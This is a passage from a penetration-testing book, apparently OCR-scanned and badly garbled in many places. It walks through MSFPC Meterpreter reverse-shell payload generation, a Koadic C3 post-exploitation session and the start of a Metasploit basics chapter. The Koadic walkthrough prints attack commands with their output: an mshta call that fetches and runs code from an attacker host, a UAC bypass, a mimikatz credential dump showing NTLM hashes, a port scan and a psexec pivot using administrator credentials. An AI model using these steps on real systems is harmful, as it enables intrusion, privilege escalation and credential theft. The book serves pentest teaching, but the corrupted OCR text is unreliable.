[1] windows meterpreter cregted: */usr/local/share/metasplolt-Franesork/windows-meterpreter-staged- reverse-tep-443. osp'

[1] WSF handler file; "/usr/local/shore/metasplott-franesork/indows-neterpreter-staged-reverse-tep-443-gsp, e’
[1] Rum: mefronsole - -r "/usr/local/shore/metasploLt-f ravework/ s ndows-netarprater-staged- reverse-tep-443-csp. e’

il
(for file transfer) /s pythonZ -m StmpleiTTF5ervar B08)
|
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MSFPC generates payloads with nerzurr values for all the payload types with
their respective resource files (.xc):

nhxLorbu 3ty netasploLt-fraewark Horr 'M ’*n‘wﬂrprﬂm"*
(oL d-Teterpreter-sageless-revarse- !
HHTFH T mHTHFpFHTHF- Eyarse- r.-ff:,;i; I

M0WS mHTHFlFHTHF-S_;;:;- averse-tep-d43-asp. e
I
I
I
I
I
I
mf[||NW' ATe

I
[

(0WS-Teternrater-Stae

OMS-Teternr HTHF-E

0WS-Teternreter-s o

I
] (005~

NIoNS-Meternrerer-Star

WL N00WS [[|IJ1'H["| HTH[."E._'_

I
I
i
i
I
i
I
1
I
i

s-1eteT

(- TRt

(¥s-Teteny

et SN
I “"'E"”"JT'JFL' ”1'“[’-!5'._'_.':‘:'_ -neverse-top-448 g
1 A L OTer-ST00R0-raverse-Teo 47 g ”
¥s-Teten

fs-tetenpret

bs-Teten

(- TRt

(0WS mFTPFlFHTHF-E_;_H A55-"2ye 5:__:T_inl'q

e versose: This option is used if you want to get more information on what values are
used by MSFPC while generating a payload:

| ./msfpc.sh loop 192.168.10.122 8080 verbose
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IEtsplolt-1r umework Harryd «fmpcmsfyc.sh Loop 192.168.10.122 8080 verbose
yloag regtor (17 v.2)
(reqting one of each TYPE, it default valles

Ao ket
Ve aylo
[1] Loap fode,

venon “gyload regtor (v )
IP: 192.168.10.122
PORT: o0
T1PE: androtd (androtdmeterpreter/ reverse_top)
SrELL: meterpreter
1 DIRECTION: reverse

SIACE: stageless

HETHOD: top
(H0): msfvenon -p androtdmeterpreter/ reverse_tep \
H5T=197.168.10.127 PORT-G080 \

A1 Local/snare/metasplot - rmework mdrol dneterpreter-stageless-reverse-tep-S060. ook

!
i
|
|
|
!
|
!
[

R

[1] ondrold meterpreter created: "/usr/Local/share/metasplott-franesork/ androld-meterpreter-staqeless-reverse- tep-B06d. ook

]
1]
1]
]

h niler f1e: */usr/local/stare/retasplott-fronesork/ androldHgter
-0 -1 usr/ Loco L /share/metasplolt-Frone
far)/: it oK

|
(700 fLe transfer)/: pythond -n Simmle

Dreter-stageless-reverse-top-0a0-opl. e
L oL g-eterpreter-stage ess-reverse-tp-B000-aok. e
)

0
TTPseryer 808
|
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In this case, roor mode is used to generate payloads with rrorr set to soso.

The features of the tool are updated and maintained by its repository. It's highly
recommended to look for tool updates online every two weeks.
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Koadic

Koadic is a Windows post-exploitation toolkit with a similar interface to the other
famous tools used for penetration testing purposes, namely, Empire and Metasploit. It's
called C3 for a reason and that is because it uses the Component Object Model
(COM) in Windows and operates using the script host utility (also known as
JScript/VBScript). COM objects were introduced by Microsoft in 1993, which also
means that Koadic's payloads are compatible with the older versions of Windows
(NT/95/2000) up until the latest version, Windows 10. Koadic is built on Python and it's
compatible with Python 2 as well as Python 3. The payloads generated by Koadic can
be executed completely in-memory (from the stage 0 to the second stage and beyond)
and it also supports the stager communication over SSL/TLS, although it depends upon
what setting is enabled on the victim OS.

Technet24
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Installation

For installation, use the following command to clone the repository from GitHub:

git clone https://github.com/zerosum0x0/koadic
xixZombi3xkx:~ Harry$ git clone https://glthub. com/zerosum?x@/ koadic
Cloning into ‘koadic'...
remote: Countin ||'] [ 'Ll-ll:'I_t .
remote: Inmprﬁ: '

ack-reused 1189
/s, done.

command:

i 3x¥x: koadic Harry$ 1s -alh

drwxr-xr-x 14 Harry staff 4488 May 14 lW'H% )

drixr-xr-x+ 229 Harry staoff Fo2K May 14 19 i

drwxr-xr-x 12 Harry staff 3 May 14 19 Lglt

~Mi-r--r-- 1 Harry stoff 1.2K Mgy 14 19 .gitignore

b e Harry staff 7B May 14 19 Lgitmodules
Ff M May 14 19:03 DEFCONZS. pdf

9K Moy 14 19:03 LICENSE

— rullllllll_ r| G-I r| I
e r"II|I|III— r| A r| e

- M- =---

Harry staff  4.4K Moy 14 19 README . md
Harry staft 168 May 14 19:03 autorun.example
Harry staff 7048 May 14 19:03 c
Harry staff 25668 May 14 19
Harry staff 1.9 May 14 19
-f 1EEE May 14 19
248 Moy 14 19:03 requirements. txt

S——
A r-x r-x
A r-x r-x
T  a
A r-xr-x
i

xAxSomblAx A koadic HHP*

M

N R S T

[l S e
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requirements.txt contains the Python packages that are required to run xoaaic. The
following command can be used to install these packages from requirement . txt:

sudo pip install -r requirement.txt

whoZonbt 3k koadic Harryd sudo pip tnstall -r requirements, it
Passiond;
The directory '/Users/Harry/L1brary/Coches/pip/nttp’ or 1t5 parent directory 15 not owned by
¢ PRMMSSLONS ond owner 0f that directory. If executing pip with sudo, you may wont sudo's -
The directory */Users/Rarry/Library/Caches/pip" or 1£8 parent directory 15 not oined by the
S81005 ond owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Collecting tmpacket (from -r requirements.txt (1ine 1))
Downloading fttps: /1 1es. pythonhosted. org/ packages/ 35/ 72/6%4c39crre2%0c cBrtadand/orel
100% | | [0 O234K0/
Requtrement already sotisfied: pycrypto tn /Library/Python/2. 7/s1te-packages (from -r reguir
Requtrement alreody sotisfied: pyasnl 1n /Library/Python/Z, 7/stte-packages (from -r require
Collecting topulate (from -r requirements.txt (line 4))
Downloadtng nttps://£11es, pythonhosted. org/packages/ 12/ c2/ 11 doB4aboedf 12950c0802 f4550£593
100% | | )5 1.0/
Installing collected pockages: 1mpacket, tobulote
Runntng setup.py nstall for wmpacket ... error
Complete output from command Jusr/bun/python -u -¢ “lmport setuptools, tokenize,__flle_
128, "open’, open)(__file__);code=f, regd(). replace( "Smn', "\n')sf.close();exec(compt le{code
oll-recond. txt --single-verston-externglly-managed --complle:
runming 1nstall
runming but ld
running butld_py
cregting outld
cregting outld/1ib
cregting outld/ b/ impacket
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Once the installation is complete, you can run xeaqaic by executing the following
command:

|./koadic

Endless Intellect

~[ ¥ersion:
~[ Stagers:

~[ Implants:

koadic: sta/js/mshto)d

Koadic starts with the MSHTA stager as the default stager. The Microsoft HTML
Application (MSHTA) is a full-grown Microsoft Windows HTML application that is
trusted by the developer who creates it. It's like the Internet Explorer browser but
without the user interface or any strict security model. It displays only a few options,
such as menus, 1cons, title information, and toolbars.
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Why use MSHTA as the dropper
payload?

One of the coolest reasons of using MSHTA for payload delivery is its support for
scripting languages, such as VBScript and JScript, and as it's explained in the
introductory part of this tool, Koadic does not uses PowerShell for post-exploitation.
PowerShell was a really great playground for attackers and red-teamers for years and
like every good playground, there comes a time when it gets too messy. Nowadays, even
if you encode the PowerShell command into base64 or any other encoder, the payload
delivery still gets detected by so-called AntiVirus with Machine Learning and Artificial
Intelligence. The reason for this 1s that instead of trying to detect the payload command
or the shellcode embedded in it, the smart AVs detect the intrusion by a mere execution
of the powershe11.exe program.

In a corporate environment, there are times when the servers are not installed with any
AVs and their built-in AV solutions are also disabled (Windows Defender). Even then, if
you try to execute powershell.exe, your execution is denied by the server because of the
hard implementation of the group policies.

Also, there is another issue with payload delivery over PowerShell and that is,
PowerShell itself. The payload will only be able to deliver and execute if PowerShell
supports the functions used in the payload. For example, if the payload requires you to
use PowerShell version 2 but the execution is happening on Microsoft Windows Server
2003 with only PowerShell version 1 support, the payload execution will fail. Koadic,
on the other hand, relies upon VBScript and JScript, which are installed from the older
version of Windows and are still supported in the latest version, which makes the
payload dropper more reliable than PowerShell.

Technet24
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Terminology

Before getting into the details of all the options used in this tool, let's first take a look at
the terminologies of the tool:

e Zombies:

The compromised system that connects back to the Koadic Command and
Control Server. Just like a session 1S opened in Metasploit, a zombie will connect

back to Koadic.

e Stagers:

The Command and Control web server from where the payload and implants are
fetched by the zombie. Stagers are also used to maintain the connection between
the zombies and Koadic. Note that Koadic does not rely on TCP connections for
continues communication. Instead, the connection is maintained by requesting
multiple HTTP connections.

e Implants:

An implant is a JavaScript or a VBScript code, which is executed by zombies to
perform a certain task. It's the same as the pos+ modules in Metasploit. Once an
implant is chosen to be used by Koadic, the script is sent over to the zombies
and 1s executed on the system. The fetched results are then displayed on the

Koadic C2 panel.

In Koadic, the implants are categorized as follows: pivot, persistence, manage,
utils, elevate, gather, scan, fun, and inject.

e Jobs:

Whenever the stager (C2) executes an implant (rost module) over to the zombie
(compromised system), a job is created in this process by C2. C2 gives the job
execute the implant t0 the zombies and once the job is completed, C2 is notified
about the completion (also displayed on the C2 panel).

To start with this tool, we can start by first executing a ne1, command or we can
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use a - instead:

1/ Js/mshta’d
COMMAND DESCRIPTION

load PHlﬂﬂdb all modules
info the current module options
use ch to o different module
axlt x1ts the program
FLIN runs the current module
varbose turn wverbosity off/on: verbose (@113
: command shell to interact with o zombie
avadls some python
ollected domain information
variable for the current module
. 1nfo gbout staogers
11 a job or all jobs
00 ! '1’!:'[] r'rﬂ'd‘rn-mb

[P vy

(41

;
1

Hﬂ‘ﬂf :
help diapluja help info for a LUH”MHd

Use ™

help command" to find more info about a command.

koadic: sta/js/mshto)d

The - command will show all the commands that are supported by the Koadic
C2 with their respective descriptions.

To use Koadic, we can follow the given stages for performing a Koadic-style
post-exploitation:

Technet24
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Stager Payload Running

Establishment Execution Implants Piotig

. Stager Establishment: Set up the stager web server where the zombie will get
connected.

. Payload Execution: Drop the payload over to the target server and execute the
payload to get the zombie hooked up by Koadic.

. Running Implants: Execute the implants to get domain information, SYSTEM
access, and NTLM hashes. These can be used for further post-exploitation.

. Pivoting: Hook the zombie and move around the network through it.
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Stager establishment

You need to first configure the stager and get it ready, which can be done by first setting
up the details that are required by the stager. For getting the details, you can execute the
following command:

| info

This will show the information for the current stager, which can be changed according
to the needs:

(koadic: sto/js/mshta)$ nfo

NANE VALLE REQ DESCRIFTION

SRUROST 197,168, yes  Where the stoger should call home
SRYPORT 9990 yes  Ihe port £ l1sten for stogers on
EAPIRES 10 M/DDAYYY to stop calling home
CEYPATH 10 Private key for TLS communications
CERTPATH 10 Certificate for TLS communications
MODULE 0 Module to run once zomble 15 staged

(koadic: sto/7s/mshta)d

We can change the settings using the se: command (the same as Metasploit and Empire).
In this case, we will be changing the stager web server port to soso by executing the
following command:

| set srvPORT 8080

Technet24
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koadic: sta/7s/mshto) set SRYPORT &2
| SRYPORT == 2080

koadic: sto/7s/mshtn)s 1nfo

VALUE RE(

DESCRIPTION

SRUHOST  197.168.10.172
SRVPORT - &0E0
FAPTRES

Where the stoger should call home
The pﬂrf to 11sten for stagers on
WM/DDAYYY to stop calling home

KEYPATH
(ERTPATH
MODULE

Private key for TLS communications
(ertificate for TLs comunications
Module to run once zombie 15 staged

(koadic: sto/7s/mshto;

Now the stager 1s ready to listen on port soso for reverse connections. To start with the
stager web server, we need to run the server by executing the run command:

|Run
(koadic: sta/js/mshta$ run
| Spawned d stager at http: /192,165,101
[17] Don't edit this URLI (See: 3
122, 165,
sta/ js/mshta)d

AEE S MORYD

[=] mshta http://
“koadic:

The stager web server 1s successfully started on the local IP 192.165.10.122 and port soso.
Koadic also provides a command (mshta ntep://192.168.10.122:8080/mprve), Which needs to
be executed on the target Windows system. As mentioned before, this tool is not about
enumeration or exploitation; it's all about post-expioitation. But this tool can be used in
exploitation when trying to deliver the payload.
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Payload execution

Different means of transport can be used to deliver the payload over to the target system
(MS Word, PDF, EXE, DLL, and so on.) and once the payload is executed on the target
server (in this case, the Koadic stager already has the command, which will be executed
on the system):

E¥ Command Prompt

Microsoft Windows [Version 16.8.16299.371]
(c) 2017 Microsoft Corporation. All rlbh:: |

bugsbounty»mshta http://192.168.10.122:80886/MDRVI

ugsbounty>

a1
F
:l

The stager hooks up the zombie. Koadic C2 will be notified when the zombie is
connected. Some system information (such as the IP address, hostname, and Windows
OS version) 1s also shared between the zombie and the stager:

koadic: sto/js/mshta)!
+] Jonbie 1: Staging new connection (192.165.10.171)
koadic: sto/js/msr

?ﬂmhlw l | 3i ;1 WAgvATEbugsbounty @ DESKTOP-MAGYATE -- Windows 100 Education
“koadic: die

To check up on the zombie, you can execute the following command:

| Zombies
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STATUS LAST SEEN

This will show the allotted ID by C2 to the zombie, the IP address of the zombie, the
status, and the last seen (just like WhatsApp and FB Messenger)

To get more information regarding a zombie, you can execute zomsies <10>, Where 1o is the
1dentification number allotted by C2 to the zombie. In this case, it's 1:

zombies 1

koadic: sta/js/mshta)

ID:
Status:
Last Seen:

IP:

User:
Hostname:
Primary DC:
0s:

0SArch:
Elevated:

User Agent:
0729, JMET CLR 3.5.3
Session Key:

JOB  MAME STATUS EREMNO

As you can see, the information regarding the zombie with ID 1 is displayed. In the
displayed information, there's one thing that we need to focus on; that is, the s1evatea
status.

Technet24
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Currently, the s1evatea Status says no, which means it's not running with svsrem privileges
but we can achieve system level privs by executing an implant.
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Running Implants

In this case, the oypassuac_eventvwr implant is used for escalating the privileges from ring 3
(user land privs) to svstew. To use an implant, you can execute the following command:

|use implant/elevate/bypassuac_eventvwr

The option is changed from stager to the implant now and just like we did it when
configuring the stager, we need to configure the implant before executing it.

We can find the options by executing the following command:

Info

Ckoadic: =to/Js/mshto)$ use 1mplant/elevates/bypassuac_eventvwr
koadic: 1mp/ ypassuac_eventwwri$ info

MNAME WAl L DESCRIPTION

Py LOAD run paylooads for a list
ZOMBIE ALl Yas the zombie to target

This will show two options that need to be configured for a successful implant
execution: eavroap and zovste. To set up the payload, execute the following command:

set payload 0
‘koadic: imp/ele
‘koadic: 1mp/ele;

PAYLOAD == €
‘koadic: 1mp/

MAME

PAY LOAD 5 YES run payloads for a list
ZOMBTIE i Yas the zomble to target

Ckoadic: 1mp/ele/bypossunc_sventvwr )l

The question here is, why did we set the payload to o? For understanding this, we need
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to reference the value from the visteners command:

| Listeners

[ koadic:
[ koadic:

=

+
o

—+
o

+
o

L ra

I o Y O B

Use "listeners ID" to print a payload

koadic:

The 1isteners command will list down all the stagers running. So, when the payload is
set to o it means the payload will be using the given stager ID o; that is, the MSHTA
stager for implant delivery over to the zombie for execution.

The implant is now ready to be executed on the target system:

Run

koadic: _ ey L SLOC_EVE
Zombie 1: Job implant/
Zomblie 1: Job @ (implant/

koadic:

koadic:

At the time of execution, a new connection is created with the elevated privileges with
zombie ID 2. On getting the information regarding the elevated connection, we can see
clearly that the privileges were escalated with the - on the user field. The same is
mentioned on the ID as well:
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Status:
Last Seen:

IP:

User:

Hostname:

Primary DC: iy

05: Windows 10 Education
0SArch: o

Elevated: YES

User Agent: Mozi1llas4.® (compatible; MSIE 7.0
3.0.30729;, .NET CLR 3.5.30729; InfoFaoth.2)

We can either use the implant for dumping hash or we can use mimixatz. Koadic supports
mimikatz by Injecting the DLL into the memory directly. To use nimixatz, run the following
command:

use implant/inject/mimikatz dynwrapx

(koadic: sta/js/ms bouse implant/inject/miml katz_dyrwraps
(koadic: 1mp/ini/mumikatz_dyrwrapx )% info

NAME REQ DESCRIPTION

DIRECTORY  %TEMP® 0 writeable directory on zombie
MIMICMD 3 yas What Mimikatz command to run?
ZOMBIE ALL yas the zomble to target

(koadic: 1mp/in7/mimt katz_dyrwrapx )

You can run it directly without changing any settings:

| run

Technet24
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koadic: 1np/Lm)/mmkatz dynwmpx il

| onpte L: Joo @ Qnplont/ingect/mmkatz_dymirapy) completed.
koadLc: 1mp/in)/mimnkatz dynwmpx il

 Zorbie 12 Job @ Cinplant/mpect/mimkatz_dymirapy) Results

M8y Credentials

Username — Domatn NTLN “Hal
pugsbounty - DESKTOP-MAB4TE 32ed87bdbecheQr:b088547376818d4 6ed5833cFS5286ebf8662b7b5949f@d742bbec3f

tSpkg Credentiols

Username— Domatn Passiord

bugsbounty  DESKTOP-WABATE _TEAL_{6REODCFS-QAEG-ACZR-A77-AFSINCECAICY}

il est cradentals

By running the implant, we were able to fetch the NTLM hashes, which can further be
used in pivoting.

To execute a command on a zombie we can use the exec cna implant, which can be run by
executing the following command:

| use implant/manage/exec_cmd
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‘koadic: imp/got/user_hunter)$ use implant/manage/exec_cmd
‘koadic: imp/man/exec_cmd)d info

NAME WALLE REQ) DESCRIPTION

hostname Vs command o run
OUTPUT true yes retrieve output/
DIRECTORY — %TEMMA y writeable directory for output
ZOMBIE ALL yes the zombie to target

cup option is the command that you want to execute. This implant will execute the
command and save the result in a file that will be stored on the sreves directory (as
mentioned in the implant settings). We can change the directory accordingly but make
sure the directory is writeable.

In this case, we will be executing a command to get the list of users on the system by
Setting cmd tO net user.

|set cmd "net user"
( koadic: 1mp/mansexec_cmd% set cmd “net user®
| CMD == "net L
"koadic: imp/mand c_cmdi% run
fombie 1: Job 3 (implant/managedexec_cmd) created.
'+ ] Zombie 1: Job “implant/managesexec_cmd) completed.
(koadic: 1imp/man/ cmd run
Result for ““"net :
(koadic: imp/man/exec 'md . run

accounts for SNDESKTOP-MABYATS

Administrotor bugsbounty .
defaultus Guest offsec
WOAGUEL 11 tyAccount

The commond completed successftully

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

Pivoting

We now have access to the 192.165.10.171 system and using the credentials of this system,
we can move around in the network and try to access another system that is in the same
network. However, for this to work, we need to know the services running on the
system. For this, we can use the tcp scanner implant for port scanning, which can be
done by running the following commands:

use implant/scan/tcp
info

set rports 135,139,445
set rhosts 192.168.10.130
set zombie 0

koadic: =ta/7js/mshtoy% use implant/scandtcp
koadic: imp/sca/ oy 1nfo

NAME WAL REQ OESCRIPTION

RHOSTS YOS name/IP of the remot
RFORTS : : FEES o SEER
TIMEOQUT '

FOMBIE YEes the zomble to tadrget

koadic: imp/sca/tcp)$ set rports 135,139,445
RPORTS == 135,139,445

koadic: 1mp/ set rhosts 197.1658.16. 138
RHO5TS == 63.10.130

koadic: imp/sca/tcp)% set zomble ©
ZOMBIE 5

The implant is ready to roll! Now we just need to run it:

| run
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run

Job 1 (implant/ /tep)
e @: Job 1 (implant/scan/tcp) .

koadic: imp/sca/ run

koadic: 1mp/s

Zomble @: Job 1 (implant/scan/tcp)

koadic: 1mp/sca run

Zombie @: Job 1 (implant/scan/tcp) 192.165.18.130
koadic: 1mp/sca/ rn

Zombie @: Job 1 (implant/scan/tcp) completed.

The mentioned ports are open, which means we can access the Remote Procedure Call
(RPC) server on port 245 of this system. The main idea here is to access the RPC server
to execute remote commands to execute our given stager command, which will get us the
reverse connection over MSHTA. For this, we can use the exec psexec implant and set the
cnd tO

mshta http://192.168.10.122:9999/¢cryn, Which will execute our stager command on the given
internal system:

use implant/pivot/exec_psexec

info

set cmd "mshta http://192.168.10.122:9999/£fGLYN"
koadic: imp/pilv/stage_uwm
koadic: imp/piv/stage_wmi )% use implant/pivot/e
koadic: imp/piv/exeac Paex el 1nfo

REQ

hosthname command to run
nama/IF of the remote

SMBUSER
SMBF

CREDID

RPATH SN live.sysinte. .y 2]
DIRECTORY — HTEMPY 0 writeable y for output
ZOMBIE ALL yes the zomble to target

We also need to give the credentials for it:

set smbuser administrator
set smbpass 123456
set zombie 1
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koadic: imp/piv/exec_psexeac set smbuser administrator
SMBLSER

koadic: imp/piv/exec_psexec)$ set smbpass 123456
SMBPASS ¢

koadic: =“;f;.?‘ﬁaﬁ“_;L“'5{ set zomble 1
ZOMBIE =

Run

koadic: _ =i

fomblie 1: Job 1@ ( ant/plvot, c_psexec) credted.
fombie 1: Job 1F ”'mplﬂﬂf plvot/exec_psexec) completed.

koadic: imp/plv/exec_psexec)d run

fomble 2 Staging new connection (19, 1on. 18,1307
koadic: 1rm 2 ac

Zombie ' D E.::i OF dsAFofficetest @ DESKTOP-4KZ2484F -- Windows 10 Pro
koadic: : ac. psexe

As you can see from the preceding output, when we run the implant, it executed our
given cvp to get hooked up by our stager.

Checking on all the zombies, we can see clearly that we now have access to
192.168.10.130 dAS Well:

h

S DDHAII;I" S
. killed" for sessions fhn+ hn been mnnunll. lllled

Lo
Sy
[
=y
!
s
=

D

koadic:
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Using Koadic can be chaotic, depending upon the imagination of the user.
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Summary

Let's quickly summarize what we have worked on until now. At the beginning of this
chapter, you were introduced to MSF Payload Creator (MSFPC) and the steps to
install MSFPC on the system. We looked at the use of resource files (.-c), which were
generated by MSFPC besides the payload file. Different types of payload generation
were presented, according to the scenario; that is, the type of shell dropped by the
payload (cma o1 mst), the type of payload connection used (bind versus reverse), the type
of payload (staged or stageless), the communication method (tcp/nttp/nttps/find ports),
and the modes used for mass payload generation (batch mode or loop mode).

In the latter part of this chapter, you were introduced to Koadic, a C3 server, its
installation and usage, and the stages for performing a Koadic-style post-exploitation.
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Questions

Why use MSFPC when you can use nsfvenon?

Should we expect new features in MSFPC?

Where can we use the 100p and vatcn modes in a real-world scenario?

Is MSFPC already installed in Kali Linux?

Why use Koadic when you can use Empire and Metasploit?

There's not many modules (implants) in Koadic as compared to metasploit or
Empire. Why is that?

7. What else can we use instead of these boring command-line tools?

SIS

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

MSFvenom Payload Creator (MSFPC): nttps://githuo. com/g0tmi1k/mpc
https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfvenom-payloa
d-creator-0180240/

MSFPC: nttps://tools.kali.org/exploitation-tools/msfpc

MSFvenom Payload Creator (MSFPC): nttps://www.yeannub. com/ms fvenom-payload-crea
tor-msfpc-installation-usage/

Koadic: xoadichttps://github.com/zerosum0x0/koadic
https://null-byte.wonderhowto.com/how-to/use-koadic-command-control-remote-access-toolkit-for
~windows-post-exploitation-0181742/

Penetration Testing L.ab: nccps://pentestian.plog/tag/koadic/

Hunting for Koadic — a COM-based rootkit: nccps://countercept.com/our-thinking/nun
ting-for-koadic-a-com-based-rootkit/

Koadic: An Advanced Windows JScript/ VBScript RAT!: nttp://pentestit.con/koadi
c-advanced-windows-jscript-vbscript-rat/

Koadic, or COM Command & Control: nttps://wiw.peerlyst.com/posts/bsideslv-2017-k
oadic-c3-windows-com-command-and-control-framework-by-zerosumOx0-and-aleph  naught-zerosumOx

0
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https://www.yeahhub.com/msfvenom-payload-creator-msfpc-installation-usage/
https://github.com/zerosum0x0/koadic
https://null-byte.wonderhowto.com/how-to/use-koadic-command-control-remote-access-toolkit-for-windows-post-exploitation-0181742/
https://pentestlab.blog/tag/koadic/
https://countercept.com/our-thinking/hunting-for-koadic-a-com-based-rootkit/
http://pentestit.com/koadic-advanced-windows-jscript-vbscript-rat/
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Foreplay - Metasploit Basics

Metasploit is the first tool that comes to mind whenever we think about pentesting or
exploitation. The Metasploit framework is a sub-project of the Metasploit project. This
helps us by providing information about vulnerabilities, as well as helping us with
penetration testing.

Metasploit first came out in 2003. It was developed by H.D. Moore but was later ported
to Ruby by 2007. By October 2009, Rapid 7 acquired the Metasploit project. After this,
Rapid 7 added Metasploit Express and Metasploit Pro, commercial versions of the
product, and then the evolution of the Metasploit framework began.

The Metasploit framework is still an open source framework that allows us to write,
test, and execute exploit code. It can also be considered a collection of tools for
pentesting and exploitation.

In this chapter, we will cover the basics of installing and using the Metasploit
framework along with Armitage.

In this chapter, we will cover the following topics:

A quick tour of Metasploit
Running Metasploit
Armitage and team server
Armitage with slack
Armitage and Cortana scripts
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Technical requirements

Metasploit Framework (MSF)
Postgres (PGSQL)

Oracle Java 1.7 or later
Armitage
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Installing Metasploit

Before proceeding with the usage, let's take a look at a quick installation guide.
Windows and macOS already have installers available for Metasploit that are available
here:

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Installing on Linux 1s easy and can be done by using the following command:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasplc
chmod 755 msfinstall && \
./msfinstall

MacBook-Air:~ Himanshu$ curl https://raw.githubusercontent.com/rapid7/metasploit
-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > m
sfinstall && \

> chmod 755 msfinstall && )\

> . /msfinstall

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
188 5525 1@@ 5525 @ @ 4725 @ 0:00:01 0:00:01 —-:-—-:-— 4730
Switching to root user to update the package
Password:
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Running Metasploit

Once the installation is done, running Metasploit is pretty simple. To do this, we type
the following command in the Terminal:

| msfconsole

~ — BugsBounty.com — ruby « msfconsole

=[ metasploit v4.17.2-dev-b9192d1bdb51ddd19809d2cf3df787193ede7160]
+ == ===[ 1791 exploits - 1819 auxiliary - 311 post ]
+ == ===[ 538 payloads - 41 encoders - 18 nops |
+ == ===[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

5T =

After doing this, we should see that the Metasploit framework is up and running. When
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the msfconsole 1S loaded for the first time, it asks and automatically creates a database
using PostgreSQL for use. This database is used to store the data collected from our
scans, exploits, and so on. Every week, new exploits and other modules get added to
Metasploit, so it's best that we update it every fortnight. This can be done by using the
following command:

| msfupdate

MacBook-Air:~ Himanshu% msfupdate
Switching to root user to update the package

Password:
Downloading package...
% Total % Received % Xferd Awverage Speed Time Time Time Current
Dload Upload Total Spent Left Speed
1 14E8M 1 2044k A A 358k B @B:@7:02 0Q:00:88 Q:86:54 57K

We now run the ne1p command to see the different features and its usage. Let's go through
the basic terminology of Metasploit.

Technet24
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Auxiliaries

The Metasploit framework is equipped with hundreds of auxiliaries that can be used to
perform different tasks. These modules can be considered as small tools that do not
exploit anything but aid us in the exploitation process. To view a list of all the
auxiliaries, we can use the following command:

| show auxiliary

msf encoder({cmd/powershell_base64) = show auxiliary

Buxiliary

Mame Disclosure Date Rank

admin/2wire/xslt_password_reset 20A7-BB-15 normal
admin/android/google_play_store_uxss_xframe_rce normal
admin/appletv/appletv_display_image normal
admin/appletv/appletv_display_video normal
admin/atog/ato_client normal
admin/aws/aws_launch_instances normal
admin/backupexec/dump normal
admin/backupexec/registry normal
admin/chromecast/chromecast_reset normal
admin/chromecast/chromecast_youtube normal
admin/cisco/cisco_asa_extrabacon normal
admin/cisco/fcisco_secure_acs_bypass normal
admin/cisco/vpn_30088 ftp_bypass Z0A6-BB-23 normal
admin/db2/db2 romd 2004-03-84 normal
admin/dns/dyn_dns_update normal
admin/edirectory/edirectory_dhost_cookie normal
adminfedirectory/edirectory_edirutil normal
admin/emc/alphastor_devicemanager_exec 20AB-B5-27 normal
admin/femc/alphastor_librarymanager_exec Z0AB-B5-27 normal
admin/firetv/firetv_youtube normal
admin/hp/hp_data_protector_cmd 2811-02-87 normal
admin/hp/hp_ilo_create_admin_account Z017-88-24 normal
admin/hp/hp_imc_som_create_account Z013-10-88 normal
admin/http/allegro_rompager_auth_bypass 2014-12-17 normal
admin/http/arris_motorola_surfboard_backdoor_xss 2015-D4-BB normal
admin/http/axigen_Tfile_access 2012-18-31 normal
admin/http/cfme_manageiq_evm_pass_reset 2013-11-12 normal
admin/http/cnpilot_r_cmd_exec normal
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We will look at an example of running an auxiliary that runs a version scan on the SMB
service and tells us the OS that is installed on the system we ran the auxiliary on. To
choose the auxiliary, we type in the following command:

|use auxiliary/scanner/smb/smb_msl17 101

We can see more information about what this auxiliary does by typing the following:

|show info

msf auxiliary(scanner/smb/smb_msl7_018) > show info

Name: M517-810 SMB RCE Detection
Module: auxiliary/scanner/smb/smb_ms17_@18
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Sean Dillon =sean.dillon@risksense.com=
Luke Jennings

Basic options:

Name Current Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts

CHECK_DOPU true no Check for DOUBLEPULSAR on wvulnerable hosts

CHECK_PIPE false no Check for named pipe on wulnerable hosts

MAMED_PIPES Jopt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt vyes List of nmamed pipes to check

RHOSTS yes The target address range or CIDR identifier

RPORT 445 yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBEUser no The username to authenticate as

THREADS 1 yes The number of comcurrent threads
Description:

Uses information disclosure to determine if M517-81@ has been
patched or not. Specifically, it connects to the IPC$ tree and
attempts a transaction on FID 8. If the status returned is
"STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the
M517-218 patch. If the machine is missing the MS517-818 patch, the
module will check for an existing DoublePulsar (ring @
shellcode/malware) infection. This module does nmot require valid SMB
credentials in default server configurations. It can log on as the
user "\" and connect to IPCs.

References:
Also known as: DOUBLEPULSAR
Also known as: ETERNALBLUE
https:/fevedetails. com/cve/CVE-2017-0143/
https://cvedetails.com/cve/CVE-2017-0144/
https://cvedetails.com/cve/CVE-2017-8145/
https://cvedetails.com/cve/CVE-2017-08146/
https://cvedetails. com/cve/CVE-2017-08147/
https://cvedetails. com/cve/CVE-2017-0148/
https://technet.microsoft.com/en-us/library/security/M517-818
https://zerosumdxBd.blogspot.com/2817/84/doublepulsar-initial-smb-backdoor-ring. html
https:/foithub.com/countercept/doublepulsar-detection-script
https://technet.microsoft.com/en-us/library/security/ms17-810.aspx

Now we can see the options to check all the requirements of this auxiliary by inputting
the following:

|show options

msf auxiliary{scanner/smb/smb_msl7_@18) > show options

Module options {auxiliary/scanner/smb/smb_ms17_@1@):

Name Current Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /fopt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt vyes List of named pipes to check

RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBEUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads
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Here, we can see that this auxiliary requires the value of the remote host of ruosrs and
the number of threads. This can be increased if we plan to use this across a subnet. We
